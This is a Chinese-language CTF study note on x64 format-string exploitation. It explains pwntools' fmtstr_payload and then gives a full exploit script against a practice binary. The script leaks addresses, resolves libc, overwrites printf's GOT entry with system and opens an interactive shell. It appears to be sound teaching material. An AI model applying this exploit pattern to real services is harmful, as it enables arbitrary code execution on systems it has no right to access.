Pwn 学习 fmt_str_level_1_x64 格式化字符串
1.checksec
2.格式化字符串利用思路
3.区别
- x64需要考虑到字节对齐的问题
pwntools工具: fmtstr_payload(offset, writes, numbwritten=0, write_size=‘byte’)
第一个参数表示格式化字符串的偏移;
第二个参数表示需要利用&n写入的数据, 采用字典形式,格式目标地址:准备修改的值}
第三个参数表示已经输出的字符个数, 这里没有, 为0, 采用默认值即可;
第四个参数表示写入方式,是按字节(byte)、按双字节(short)还是按四字节(int),对应着hhn、hn和n,默认值是byte,即按hn写。fmtstr payload函数返回的就是payload
payload = fmtstr payload (offset, { addressl:valuel} )
3.exp
from pwn import *
from LibcSearcher import *
# log_level='debug',
context(log_level='debug', arch='amd64', os='linux')
pwnfile = './fmt_str_level_1_x64'
elf = ELF(pwnfile)
#libc = elf.libc
io = process(pwnfile)
payload_search_main = b'%41$p\n'
io.recvuntil('input:\n')
# gdb.attach(io)
io.send(payload_search_main)
main_24 = int(io.recv()[2:14], 16)
main_real_addr = main_24 - 24
print('main_real_addr is ', hex(main_real_addr))
offset = (elf.symbols['main'] - elf.got['puts'])
puts_got = main_real_addr - offset
print('puts_got_addr is ',hex(puts_got))
payload_search_bass = flat([b'%7$saaaa', p64(puts_got)])
gdb.attach(io)
io.sendline(payload_search_bass)
puts_real_addr = u64(io.recv(6).ljust(8, b'\x00'))
#puts_real_addr = u32(io.recv(6).ljust(8, b"\x00"))
print('puts_real_addr is ', hex(puts_real_addr))
libc = LibcSearcher('puts', puts_real_addr)
libc_base_addr = puts_real_addr - libc.dump('puts')
print('libc_base_addr is ', hex(libc_base_addr))
sys_addr = libc_base_addr + libc.dump('system')
print('sys_addr is ', hex(sys_addr))
addr_bin_sh = libc_base_addr + libc.dump('str_bin_sh')
print('addr_bin_sh is ', hex(addr_bin_sh))
offset_addr_of_printf = elf.symbols['main'] - elf.got['printf']
printf_real_got_addr = main_real_addr - offset_addr_of_printf
print('printf_real_got_addr is:', hex(printf_real_got_addr))
payload_pwntools_create_set_stack = fmtstr_payload(6, {printf_real_got_addr : sys_addr})
io.recvuntil('input:\n')
io.send(payload_pwntools_create_set_stack)
io.interactive()